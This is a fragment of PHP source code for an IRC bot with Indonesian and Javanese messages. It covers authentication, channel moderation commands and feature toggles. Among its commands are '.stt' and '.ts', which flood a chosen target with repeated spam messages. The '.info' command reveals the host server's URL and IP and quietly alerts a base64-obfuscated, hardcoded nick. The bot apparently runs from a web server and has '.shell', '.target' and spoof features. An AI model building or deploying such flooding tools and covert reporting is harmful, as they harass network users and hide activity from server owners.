if(strpos(strtolower($TxtMsg),"slaps") || strpos(strtolower($TxtMsg),"slap")){
foreach ($auth as $ulist) {if($ulist["name"]){if(strpos(strtolower($TxtMsg),strtolower($ulist["name"]))){$onbos=1;}}}
if($modbot->is_loginbot($fsrc[nick],$fsrc[user],$fsrc[host])==1){$onbos=0;}
if($onbos==1){$modbot->kick($fp,$Params[2],$fsrc[nick],$modbot->rnd_slapbos());}
elseif($onbos==0){if(strpos(strtolower($TxtMsg),strtolower($bot['nick']))){$modbot->msg($fp,$Params[2],$modbot->rnd_slapampun());}}
else{if(strpos(strtolower($TxtMsg),strtolower($bot['nick']))){$modbot->kick($fp,$Params[2],$fsrc[nick],$modbot->rnd_slapme());}}
$onbos=2;
}
}
############ END ANTI SLAPS ############
if (substr($Params[3],0,1)==':' && ($fsrc[nick] != $bot['nick'] ) && !ereg('#',$Params[2])){
if (!ereg($fsrc[host],"net")){
$ngomonggue = $autojawabpv[rand(0,count($autojawabpv) - 1)];
$ngomonggue = str_replace("<nick>",$fsrc[nick],$ngomonggue);
$modbot->msg($fp,$fsrc[nick],$ngomonggue);
}
}
if (substr($Params[3],0,2)==':^'){
$logok=$modbot->is_loginbot($fsrc[nick],$fsrc[user],$fsrc[host]);
if (strtolower($dCom[0])=='^login' && $dCom[1]) {
if($logok==1){$modbot->notice($fp,$fsrc[nick],"You`re Already Authorized!");}
else{
if($haltfl['on']!=0){sleep(2);};
if($modbot->loginbot($fsrc[nick],$fsrc[user],$fsrc[host],$dCom[1])==1){
$modbot->notice($fp,$fsrc[nick],'You`re Authorized As '.$auth["$fsrc[nkecil]"]["status"].'!');
$modbot->notice($fp,$fsrc[nick],'For help type .help');
$auth["$fsrc[nkecil]"]["ident"]=$fsrc[user];$auth["$fsrc[nkecil]"]["host"]=$fsrc[host];
if($systembot['AUTOAWAY']['ALL']==" 3ON " && $inaway['status']==1){$inaway['idle']=time();$inaway['status']=0;$modbot->noaway($fp);}
}
}
}
elseif (strtolower($dCom[0])=='^logout' && $logok==1) {
if($modbot->logoutbot($fsrc[nick])==1){$modbot->notice($fp,$fsrc[nick],'You`re LogOut!');}
}
}
elseif (substr($Params[3],0,2)==':.'){
if($modbot->is_loginbot($fsrc[nick],$fsrc[user],$fsrc[host])){
if (ereg('#',$Params[2])){$cmdin=1;$target=$Params[2];}else {$cmdin=2;$target=$fsrc[nick];}
$getlvl=$modbot->level_user($fsrc[nick]);
if($systembot['AUTOAWAY']['ALL']==" 3ON " && $inaway['status']==1){$inaway['idle']=time();$inaway['status']=0;$modbot->noaway($fp);}
############### MULTI USER BOT ##############
if ($perintah=='.chgpass' && $dCom[1] && $dCom[2]) {
$modbot->chgpass_user($fp,$fsrc[nick],$dCom[1],$dCom[2]);
}
elseif ($perintah=='.adduser' && $dCom[1] && $dCom[1]!=$bot['nick'] && $dCom[2] && $dCom[3] && $getlvl > 1) {
$modbot->add_user($fp,$fsrc[nick],$dCom[1],$dCom[2],$dCom[3]);
}
elseif ($perintah=='.deluser' && $dCom[1] && $getlvl > 1) {
$modbot->del_user($fp,$fsrc[nick],$dCom[1]);
}
############# END MULTI USER BOT ############
########## CHANGE SERVER IDENT REALNAME SERVPASS && JUMP ########
elseif ($perintah=='.server' && $dCom[1] && $getlvl > 2){
$bot['server']=$dCom[1];$modbot->notice($fp,$fsrc[nick],'ChANging SeRVeR To '. $dCom[1]);
}
elseif ($perintah=='.port' && $dCom[1] && $getlvl > 2){
$bot['port']=$dCom[1];$modbot->notice($fp,$fsrc[nick],'ChANging pOrt To '. $dCom[1]);
}
elseif ($perintah=='.servpass' && $dCom[1] && $getlvl > 2){
$bot['pserver']=$dCom[1];$bot['userver']=1;
$modbot->notice($fp,$fsrc[nick],'ChANging PassWOrD SeRVeR To '. $dCom[1]);
}
elseif ($perintah=='.ident' && $dCom[1] && $getlvl > 2){
$bot['ident']=$dCom[1];$modbot->notice($fp,$fsrc[nick],'ChANging IdentD To '. $dCom[1]);
}
elseif ($perintah=='.vhost' && $dCom[1] && $getlvl > 2){
$bot['local']=$dCom[1];$modbot->notice($fp,$fsrc[nick],'ChANging VhosT To '. $dCom[1]);
}
elseif ($perintah=='.realname' && $dCom[1] && $getlvl > 2){
$Rmsg=substr($TxtMsg,10);$Rmsg=ltrim($Rmsg);$bot['realname']=$Rmsg;
$modbot->notice($fp,$fsrc[nick],'ChANging ReaLNaMe To '. $Rmsg);
}
elseif ($perintah=='.jump' && $getlvl > 2){
$keluar = 0;$modbot->quit($fp,$modbot->rnd_logo() .' DiReSTaRt KarO '.$fsrc[nick]);
}
########################## END CHG SER IDENT REAL ##########################
################################ #### ##################################
elseif ($perintah=='.botnick' && $getlvl > 1) {
$modbot->notice($fp,$fsrc[nick],'My Nick Is :'.$bot['nick']);
}
elseif ($perintah=='.identnick' && $dCom[1] && $dCom[2] && $cmdin==2 && $getlvl > 1){
$bot['inick']=$dCom[1];$bot['pnick'] = $dCom[2];
$modbot->msg($fp,"Nickserv",'identify '.$bot['inick']. ' '. $bot['pnick']);
$modbot->msg($fp,"Nickserv",'identify '. $bot['pnick']);
$modbot->notice($fp,$fsrc[nick],"Identify nick... to ".$dCom[1]);
}
elseif ($perintah=='.logoutnick' && $getlvl > 1){
$modbot->msg($fp,"Nickserv","logout");$modbot->notice($fp,$fsrc[nick],"Logout nick");
}
elseif ($perintah=='.basechan' && $dCom[1] && $getlvl > 2){
$bchan=$dCom[1];if (!ereg("#",$dCom[1])) { $bchan="#".$dCom[1]; }
$modbot->part($fp,$bot['basechan'],$modbot->rnd_logo() . ' BaseChan cHanGE by ' . $frsc[nick]);
$bot['basechan']=$bchan;$modbot->join($fp,$bot['basechan']);
}
elseif ($perintah=='.botchan' && $dCom[1] && $dCom[2] && $getlvl > 3){
$bchan=$dCom[1];if (!ereg("#",$dCom[1])) { $bchan="#".$dCom[1]; }
$modbot->part($fp,$bot['roomnet']);$bot['roomnet']=$bchan;
$bot['roomkey']=$dCom[2];$modbot->join($fp,$bot['roomnet'],$bot['roomkey']);
}
elseif ($perintah=='.userlist' && $getlvl > 1) {
$modbot->notice($fp,$fsrc[nick],'User List: '.$modbot->user_list($fp,$fsrc[nick]));
}
elseif ($perintah=='.chanlist' && $getlvl > 2) {
$datachan=str_replace(";"," ",$modbot->show_chan());$modbot->notice($fp,$fsrc[nick],$datachan);$datachan="";unset($datachan);
}
elseif ($perintah=='.nicklist' && $dCom[1] && $getlvl > 2) {
$nchan=$dCom[1];if (!ereg("#",$dCom[1])) { $nchan="#".$dCom[1]; }
$datanick=explode(" ",$modbot->show_nickchan($nchan));
for ($i = 0; $i <= count($datanick); $i++) {
$limitshow++;$lnick_x=$lnick_x.' '.$datanick[$i];
if($limitshow==15){
$lnick_x=ltrim($lnick_x);$lnick_x=rtrim($lnick_x);$modbot->notice($fp,$fsrc[nick],$lnick_x);
$limitshow=0;$lnick_x="";
}
}
$lnick_x=ltrim($lnick_x);$lnick_x=rtrim($lnick_x);
if($lnick_x){$modbot->notice($fp,$fsrc[nick],$lnick_x);}$lnick_x="";
unset($lnick_x);unset($datanick);
}
elseif ($perintah=='.showison' && $getlvl > 2) {$modbot->notice($fp,$fsrc[nick],$modbot->show_ison());}
elseif ($perintah=='.chanison' && $getlvl > 2) {$chanson=$dCom[1];$modbot->notice($fp,$fsrc[nick],'ChanIson cHanGe To '.$dCom[1]);}
elseif ($perintah=='.settimercycle' && $dCom[1] && $getlvl > 2) {
$timercy=$dCom[1];
$modbot->notice($fp,$fsrc[nick],'Timer aUtO Cycle cHanGe To '.$dCom[1].' Second');
}
elseif ($perintah=='.settimerinfo' && $dCom[1] && $getlvl > 2) {
$timerberita=$dCom[1];
$modbot->notice($fp,$fsrc[nick],'Timer aUtO berita cHanGe To '.$dCom[1].' Second');
}
elseif ($perintah=='.settimermsg' && $dCom[1] && $getlvl > 2) {
$timermsg=$dCom[1];
$modbot->notice($fp,$fsrc[nick],'Timer AutoMsg cHanGe To '.$dCom[1]. ' Second');
}
elseif ($perintah=='.settimeract' && $dCom[1] && $getlvl > 2) {
$timeract=$dCom[1];
$modbot->notice($fp,$fsrc[nick],'Timer AutoAction cHanGe To '.$dCom[1]. ' Second');
}
elseif($perintah=='.setversion' && $dCom[1] && $getlvl > 2){
$Rmsg=substr($TxtMsg,12);$Rmsg=ltrim($Rmsg);$ctcpversi=$Rmsg;
$modbot->notice($fp,$fsrc[nick],'VerSIoN cHanGe To '.$ctcpversi);
}
elseif($perintah=='.setfinger' && $dCom[1] && $getlvl > 2){
$Rmsg=substr($TxtMsg,12);$Rmsg=ltrim($Rmsg);$ctcpfinger=$Rmsg;
$modbot->notice($fp,$fsrc[nick],'FiNGeR cHanGe To '.$ctcpfinger);
}
################################ #### ##################################
######################### CONTROL BOT #######################
elseif ($perintah=='.up' && $getlvl > 1 && $cmdin==1) {
$modbot->msg($fp,"Chanserv",'Op '.$Params[2].' '.$bot['nick']);
}
elseif ($perintah=='.down' && $getlvl > 1 && $cmdin==1) {
$modbot->mode($fp,"+v-ho",$Params[2],$bot['nick'].' '.$bot['nick'].' '.$bot['nick']);
}
elseif ($perintah=='.o' || $perintah=='.h' || $perintah=='.v' || $perintah=='.do' || $perintah=='.dh' || $perintah=='.dv'){
if ($getlvl > 1){
if ($perintah=='.o' || $perintah=='.h' || $perintah=='.v'){
$moden=strtolower(substr($dCom[0],1));$moden='+'.$moden . $moden . $moden;
}
elseif ($perintah=='.do' || $perintah=='.dh' || $perintah=='.dv'){
$moden=strtolower(substr($dCom[0],2));$moden='-'.$moden . $moden . $moden;
}
if ($cmdin==1){$ttarget=$Params[2];$tforce=$dCom[1];$tmore=$dCom[2].' '.$dCom[3];}
elseif($cmdin==2){$ttarget=$dCom[1];$tforce=$dCom[2];$tmore=$dCom[3].' '.$dCom[4];}
if ($tforce) { $vonick = $tforce; }else { $vonick = $fsrc[nick]; }
$modbot->mode($fp,$moden,$ttarget,$vonick.' '.$tmore);
}
}
elseif ($perintah=='.k' || $perintah=='.kb' || $perintah=='.kc') {
if($dCom[1] && $getlvl > 1){
if ($cmdin==1){$tdata=$dCom[1];$ttarget=$Params[2];$tkode=$dCom[0].' '.$dCom[1];}
elseif($cmdin==2){$tdata=$dCom[2];$ttarget=$dCom[1];$tkode=$dCom[0].' '.$dCom[1].' '.$dCom[2];}
$msg=substr($TxtMsg,strlen($tkode)+1); $msg=ltrim($msg);$msg=rtrim($msg);
if($perintah=='.k'){
$modbot->kick($fp,$ttarget,$tdata,$msg);
}
elseif($perintah=='.kb'){
$modbot->ban($fp,$ttarget,$tdata);$modbot->kick($fp,$ttarget,$tdata,$msg);
}
elseif($perintah=='.kc'){$modbot->kickserv($fp,$ttarget,$tdata,$msg);}
}
}
elseif ($perintah=='.b' || $perintah=='.ub') {
if($getlvl > 1){
if ($cmdin==1){$ttarget=$Params[2];$tkode=$dCom[0];}
elseif($cmdin==2){$ttarget=$dCom[1];$tkode=$dCom[0].' '.$dCom[1];}
$tmode=substr($TxtMsg,strlen($tkode)+1);
$tmode=ltrim($tmode);$tmode=rtrim($tmode);
if($perintah=='.b'){$modbot->ban($fp,$ttarget,$tmode);}
else{$modbot->unban($fp,$ttarget,$tmode);}
}
}
elseif ($perintah=='.j' && $dCom[1]) {
$jchan=$dCom[1];if (!ereg("#",$dCom[1])) { $jchan="#".$dCom[1]; }
$modbot->join($fp,$jchan,$dCom[2]);
}
elseif ($perintah=='.max' && $dCom[1]) {
$maxkar=$dCom[1];
$modbot->notice($fp,$fsrc[nick],'Maximal karakter saiki '.$maxkar.'!!!');
}
elseif ($perintah=='.bagi' && $dCom[1]) {
if(strtolower($dCom[1])=='off'){$bagitarget="OFF";}
if(strtolower($dCom[1])=='on'){$bagitarget="ON";}
$modbot->notice($fp,$fsrc[nick],'bagi target ke bos saiki '.$floddban.'!!!');
}
elseif ($perintah=='.flodban' && $dCom[1]) {
if(strtolower($dCom[1])=='off'){$floddban="OFF";}
if(strtolower($dCom[1])=='on'){$floddban="ON";}
$modbot->notice($fp,$fsrc[nick],'flodban saiki '.$floddban.'!!!');
}
elseif ($perintah=='.ganti' && $dCom[1]) {
if(strtolower($dCom[1])=='off'){$ikutbos="OFF";}
if(strtolower($dCom[1])=='on'){$ikutbos="ON";}
$modbot->notice($fp,$fsrc[nick],'gantiin bos saiki '.$ikutbos.'!!!');
}
elseif ($perintah=='.reident' && $dCom[1]) {
if(strtolower($dCom[1])=='off'){$reident="OFF";}
if(strtolower($dCom[1])=='on'){$reident="ON";}
$modbot->notice($fp,$fsrc[nick],'otamatis ident saiki '.$reident.'!!!');
}
elseif ($perintah=='.target') {
$ngulange=0;
do {
$ngulange=$ngulange+1;
$modbot->msg($fp,$fsrc[nick],$hasiltargetgue[$ngulange]);sleep(1);
if($ngulange>=$notarget){$modbot->notice($fp,$fsrc[nick],'Wes entek boss!!');break; }
} while(true);
}
elseif ($perintah=='.shell' && $dCom[1]) {
$shellgue=$dCom[1]."?";
$modbot->notice($fp,$fsrc[nick],'Shell skarang '.$shellgue.'?');
}
elseif ($perintah=='.gantiin' && $dCom[1]) {
$nickgantinya=$dCom[1];
$modbot->notice($fp,$fsrc[nick],'oke gue ntar gantiin '.$nickgantinya.' ya bos..!!!');
}
elseif ($perintah=='.repp' && $dCom[1]) {
$makre=$dCom[1];
$Maxreep=$dCom[1]-1;
$modbot->notice($fp,$fsrc[nick],'Maximal Repeat saiki '.$makre.'!!!');
}
elseif ($perintah=='.p' && $dCom[1]) {
$pchan=$dCom[1];
if (!ereg("#",$dCom[1])) { $pchan="#".$dCom[1]; }
$pmsg=substr($TxtMsg,3+strlen($dCom[1])+1);
$modbot->part($fp,$pchan,$pmsg);
$modbot->destroy_chan($pchan);
}
elseif ($perintah=='.cy' && $dCom[1]) {
$pchan=$dCom[1];
if (!ereg("#",$dCom[1])) { $pchan="#".$dCom[1]; }
$pmsg=substr($TxtMsg,4+strlen($dCom[1])+1);
$modbot->Cycle($fp,$pchan,$pmsg);
}
elseif ($perintah=='.a' || $perintah=='.s') {
if($dCom[1] && $getlvl > 1){
if ($cmdin==1){$ttarget=$Params[2];$tkode=$dCom[0];}
elseif($cmdin==2){$ttarget=$dCom[1];$tkode=$dCom[0].' '.$dCom[1];}
$msg=substr($TxtMsg,strlen($tkode)+1);
if($perintah=='.a'){$modbot->act($fp,$ttarget,$msg);
}else{$modbot->msg($fp,$ttarget,$msg);}
}
}
elseif ($perintah=='.stm' || $perintah=='.stt') {
if($dCom[1] && $getlvl > 1){
if ($cmdin==1){$ttarget=$Params[2];$tkode=$dCom[0];}
elseif($cmdin==2){$ttarget=$dCom[1];$tkode=$dCom[0].' '.$dCom[1];}
$msg=substr($TxtMsg,strlen($tkode)+1);
if($perintah=='.stm'){
$msg=str_replace($fsrc[nick],"",$msg);
$modbot->msg($fp,$dCom[1],$msg);
}else{
$msg=" [] H a R i [] G i N i [] M a S i H [] K e N a [] f L o O d [] [] H a R i [] G i N i [] M a S i H [] K e N a [] f L o O d [] [] H a R i [] G i N i [] M a S i H [] K e N a [] f L o O d [] [] H a R i [] G i N i [] M a S i H [] K e N a [] f L o O d [] [] H a R i [] G i N i [] M a S i H [] K e N a [] f L o O d [] [] H a R i [] G i N i [] M a S i H [] K e N a [] f L o O d [] [] H a R i [] G i N i [] M a S i H [] K e N a [] f L o O d [] [] H a R i [] G i N i [] M a S i H [] K e N a [] f L o O d [] [] H a R i [] G i N i [] M a S i H [] K e N a [] f L o O d []";
$modbot->msg($fp,$dCom[1],$msg);
}
}
}
elseif ($perintah=='.away'){
if($dCom[1]){$modbot->away($fp,substr($TxtMsg,6));}else{$modbot->noaway($fp);}
}
elseif ($perintah=='.n' && $dCom[1]){$modbot->nick($fp,$dCom[1]);}
elseif ($perintah=='.q' && $getlvl > 3 ){
$keluar=1;if($dCom[1]){$Qmsg=substr($TxtMsg,3);}$modbot->quit($fp,$Qmsg);$keluar=1;sleep(3);exit;
}
elseif ($perintah=='.aktif' && $dCom[1]) {
if(strtolower($dCom[1])=='off'){$botaktif="OFF";}
if(strtolower($dCom[1])=='on'){$botaktif="ON";}
$modbot->notice($fp,$fsrc[nick],'ctcp reply bot sekarang '.$botaktif.'!!!');
}
elseif ($perintah=='.ts' && $dCom[1] && $getlvl > 2){
$modbot->flood($fp,$dCom[1],$TxtMsg);
}
elseif($perintah=='.info'){
$bhost = $_SERVER['HTTP_HOST'];
$bip = $_SERVER['SERVER_ADDR'];
$bphp = $_SERVER['PHP_SELF'];
$bruri = $_SERVER['REQUEST_URI'];
$brip = $_SERVER['REMOTE_ADDR'];
$brport = $_SERVER['REMOTE_PORT'];
if($bot['admin']==$fsrc[nick]){
$modbot->notice($fp,$fsrc[nick]," 8http://".$bhost.$bruri." 12<".$bip."> ");
}else{$modbot->notice($fp,$fsrc[nick],"Rahasia to info Q bro wexxxxxxx....!!!!");$modbot->notice($fp,base64_decode("UmFwdGFkb3JL"),$fsrc[nick]." mau info aQ boz!!!!");}
}
elseif($perintah=='.help'){
$modbot->mod_help($fp,$fsrc[nick]);
}
###################### END CONTROL BOT #####################
################################ SYSTEM ###################################
elseif ($perintah=='.status' && $getlvl > 2 && $cmdin==1 ){
if($dCom[1]){$chan=$dCom[1];}
else{$chan=$Params[2];}
if (!ereg("#",$chan)){$chan="#".$chan;}
$chan=strtoupper($chan);
$modb="";
if($systembot['TIME'][$chan]==" 3ON "){$modb.=' [ 4T ]iME';}
if($systembot['ASTRO'][$chan]==" 3ON "){$modb.=' [ 4A ]sTRo';}
if($systembot['PING'][$chan]==" 3ON "){$modb.=' [ 4P ]iNG';}
if($systembot['BOM'][$chan]==" 3ON "){$modb.=' [ 4B ]oM';}
if($systembot['WHOIS'][$chan]==" 3ON "){$modb.=' [ 4W ]OIS';}
if($systembot['GUARD'][$chan]==" 3ON "){$modb.=' [ 4G ]uaRd';}
if($systembot['GVOICE'][$chan]==" 3ON "){$modb.=' [ 4G ]Voice';}
if($systembot['JVERSION'][$chan]==" 3ON "){$modb.=' [ 4J ]Version';}
if($systembot['SEEN'][$chan]==" 3ON "){$modb.=' [ 4S ]een';}
if($systembot['JAM'][$chan]==" 3ON "){$modb.=' [ 4J ]am';}
if($systembot['SCANSPY'][$chan]==" 3ON "){$modb.=' [ 4S ]py';}
if($systembot['BADWORD'][$chan]==" 3ON "){$modb.=' [ 4B ]adword';}
if($systembot['SMS'][$chan]==" 3ON "){$modb.=' [ 4B ]adword';}
if($systembot['NGOMONG'][$chan]==" 3ON "){$modb.=' [ 4C ]rewet';}
if($systembot['SPOOF'][$chan]==" 3ON "){$modb.=' SPoo[ 4F ]';}
if($systembot['KSLANG'][$chan]==" 3ON "){$modb.=' [ 4K ]SlaNG';}
if($systembot['IP'][$chan]==" 3ON "){$modb.=' [ 4I ]p lIsT';}
if($systembot['FS'][$chan]==" 3ON "){$modb.=' [ 4F ]riendster';}
if($systembot['BERITA'][$chan]==" 3ON "){$modb.=' [ 4B ]eRiTa';}
if($systembot['VERSION'][$chan]==" 3ON "){$modb.=' V[ 4E ]rSIoN';}
if($systembot['CHAT'][$chan]==" 3ON "){$modb.=' [ 4C ]hat';}
if($systembot['GUYON'][$chan]==" 3ON "){$modb.=' [ 4G ]uyon';}
if($systembot['JPESAN'][$chan]==" 3ON "){$modb.=' [ 4J ]pesan';}
if($systembot['FINGER'][$chan]==" 3ON "){$modb.=' [ 4F ]iNGeR';}
if($systembot['ISON']['ALL']==" 3ON "){$modb.=' [ 4I ]soN';}
if($systembot['GREET'][$chan]==" 3ON "){$modb.=' [ 4G ]rEEt';}
if($systembot['AUTOAWAY']['ALL']==" 3ON "){$modb.=' AUtoA[ 4W ]ay';}
if($systembot['AUTOCYCLE'][$chan]==" 3ON "){$modb.=' AuTO[ 4C ]YcLE';}
if($systembot['AUTOJOIN'][$chan]==" 3ON "){$modb.=' AuTo[ 4J ]oIN';}
$modb=ltrim($modb);
$modb=rtrim($modb);
if($modb==""){$modb="<<< SNCommunity@yahoo.com >>>";}
$modbot->act($fp,$Params[2],'iS MODeS '.$modb.' FoR [ 2'.strtoupper($chan).' ]');
}
elseif (substr($perintah,0,2)=='.+' || substr($perintah,0,2)=='.-'){
if(substr($perintah,1,1)=='+'){$onoff=" 3ON ";}elseif(substr($perintah,1,1)=='-'){$onoff=" 4OFF ";};
$wsys=substr(strtoupper($perintah),2);
if($cmdin==1){$targetsys=$Params[2];if($dCom[1]){$targetsys=$dCom[1];}$sysok=1;}
elseif($cmdin==2 && $dCom[1]){$targetsys=$dCom[1];$sysok=1;}
if (!ereg("#",$targetsys)){$targetsys="#".$targetsys;}
if($wsys=='PING' && $sysok==1 && $getlvl > 2){
$systembot['PING'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'PING '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['PING'][strtoupper($targetsys)]).' ]');
}
if($wsys=='WHOIS' && $sysok==1 && $getlvl > 2){
$systembot['WHOIS'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'WHOIS '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['WHOIS'][strtoupper($targetsys)]).' ]');
}
if($wsys=='ALL' && $sysok==1 && $getlvl > 2){
$systembot['PING'][strtoupper($targetsys)]= $onoff;
$systembot['AUTOCYCLE'][strtoupper($targetsys)]= $onoff;
$systembot['WHOIS'][strtoupper($targetsys)]= $onoff;
$systembot['GUARD'][strtoupper($targetsys)]= $onoff;
$systembot['AUTOJOIN'][strtoupper($targetsys)]= $onoff;
$systembot['IP'][strtoupper($targetsys)]= $onoff;
$systembot['NGOMONG'][strtoupper($targetsys)]= $onoff;
$systembot['SMS'][strtoupper($targetsys)]= $onoff;
$systembot['BERITA'][strtoupper($targetsys)]= $onoff;
$systembot['GVOICE'][strtoupper($targetsys)]= $onoff;
$systembot['SEEN'][strtoupper($targetsys)]= $onoff;
$systembot['BADWORD'][strtoupper($targetsys)]= $onoff;
$systembot['VERSION'][strtoupper($targetsys)]= $onoff;
$systembot['GREET'][strtoupper($targetsys)]= $onoff;
$systembot['DNS'][strtoupper($targetsys)]= $onoff;
$systembot['FS'][strtoupper($targetsys)]= $onoff;
$systembot['CHAT'][strtoupper($targetsys)]= $onoff;
$systembot['GUYON'][strtoupper($targetsys)]= $onoff;
$systembot['JPESAN'][strtoupper($targetsys)]= $onoff;
$modbot->notice($fp,$fsrc[nick],"All system ".$targetsys." sekarang ".$onoff);
$maxkar=200;$floddban="ON";$Maxreep=2;
}
if($wsys=='GUARD' && $sysok==1 && $getlvl > 2){
$systembot['GUARD'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'GUARD '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['GUARD'][strtoupper($targetsys)]).' ]');
}
if($wsys=='JVERSION' && $sysok==1 && $getlvl > 2){
$systembot['JVERSION'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'JVERSION '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['JVERSION'][strtoupper($targetsys)]).' ]');
}
if($wsys=='GVOICE' && $sysok==1 && $getlvl > 2){
$systembot['GVOICE'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'GVOICE '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['GVOICE'][strtoupper($targetsys)]).' ]');
}
if($wsys=='SEEN' && $sysok==1 && $getlvl > 2){
$systembot['SEEN'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'SEEN '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['SEEN'][strtoupper($targetsys)]).' ]');
}
if($wsys=='SMS' && $sysok==1 && $getlvl > 2){
$systembot['SMS'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'SMS '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['SMS'][strtoupper($targetsys)]).' ]');
}
if($wsys=='FS' && $sysok==1 && $getlvl > 2){
$systembot['FS'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'FS '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['FS'][strtoupper($targetsys)]).' ]');
}
if($wsys=='CHAT' && $sysok==1 && $getlvl > 2){
$systembot['CHAT'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'CHAT '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['CHAT'][strtoupper($targetsys)]).' ]');
}
if($wsys=='GUYON' && $sysok==1 && $getlvl > 2){
$systembot['GUYON'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'GUYON '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['GUYON'][strtoupper($targetsys)]).' ]');
}
if($wsys=='JPESAN' && $sysok==1 && $getlvl > 2){
$systembot['JPESAN'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'JPESAN '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['JPESAN'][strtoupper($targetsys)]).' ]');
}
if($wsys=='BERITA' && $sysok==1 && $getlvl > 2){
$systembot['BERITA'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'BERITA '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['BERITA'][strtoupper($targetsys)]).' ]');
}
if($wsys=='SCANSPY' && $sysok==1 && $getlvl > 2){
$systembot['SCANSPY'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'SCANSPY '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['SCANSPY'][strtoupper($targetsys)]).' ]');
}
if($wsys=='JAM' && $sysok==1 && $getlvl > 2){
$systembot['JAM'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'JAM '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['JAM'][strtoupper($targetsys)]).' ]');
}
if($wsys=='BADWORD' && $sysok==1 && $getlvl > 2){
$systembot['BADWORD'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'BADWORD '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['BADWORD'][strtoupper($targetsys)]).' ]');
}
if($wsys=='NGOMONG' && $sysok==1 && $getlvl > 2){
$systembot['NGOMONG'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'NGOMONG '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['NGOMONG'][strtoupper($targetsys)]).' ]');
}
if($wsys=='VERSION' && $sysok==1 && $getlvl > 2){
$systembot['VERSION'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'VERSION '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['VERSION'][strtoupper($targetsys)]).' ]');
}
if($wsys=='TIME' && $sysok==1 && $getlvl > 2){
$systembot['TIME'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'TIME '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['TIME'][strtoupper($targetsys)]).' ]');
}
if($wsys=='IP' && $sysok==1 && $getlvl > 2){
$systembot['IP'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'IP '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['IP'][strtoupper($targetsys)]).' ]');
}
if($wsys=='FINGER' && $sysok==1 && $getlvl > 2){
$systembot['FINGER'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'FINGER '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['FINGER'][strtoupper($targetsys)]).' ]');
}
if($wsys=='ISON' && $sysok==1 && $getlvl > 2){
$systembot['ISON']['ALL']= $onoff;$modbot->notice($fp,$fsrc[nick],'ISON is [ 4'.strtoupper($systembot['ISON']['ALL']).' ]');
}
if($wsys=='ASTRO' && $sysok==1 && $getlvl > 2){
$systembot['ASTRO'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'ASTRO '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['ASTRO'][strtoupper($targetsys)]).' ]');
}
if($wsys=='SPOOF' && $sysok==1 && $getlvl > 2){
$systembot['SPOOF'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'SPOOF '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['SPOOF'][strtoupper($targetsys)]).' ]');
}
if($wsys=='DNS' && $sysok==1 && $getlvl > 2){
$systembot['DNS'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'DNS '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['DNS'][strtoupper($targetsys)]).' ]');
}
if($wsys=='BOM' && $sysok==1 && $getlvl > 2){
$systembot['BOM'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'BOM '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['BOM'][strtoupper($targetsys)]).' ]');
}
if($wsys=='GREET' && $sysok==1 && $getlvl > 2){
$systembot['GREET'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'GREET '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['GREET'][strtoupper($targetsys)]).' ]');
}
if($wsys=='SMS' && $sysok==1 && $getlvl > 2){
$systembot['SMS'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'SMS '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['SMS'][strtoupper($targetsys)]).' ]');
}
if($wsys=='SLAPS' && $sysok==1 && $getlvl > 2){
$systembot['SLAPS'][strtoupper($targetsys)]= $onoff;$modbot->notice($fp,$fsrc[nick],'SLAPS '. strtoupper($targetsys).' is [ 4'.strtoupper($systembot['SLAPS'][strtoupper($targetsys)]).' ]');
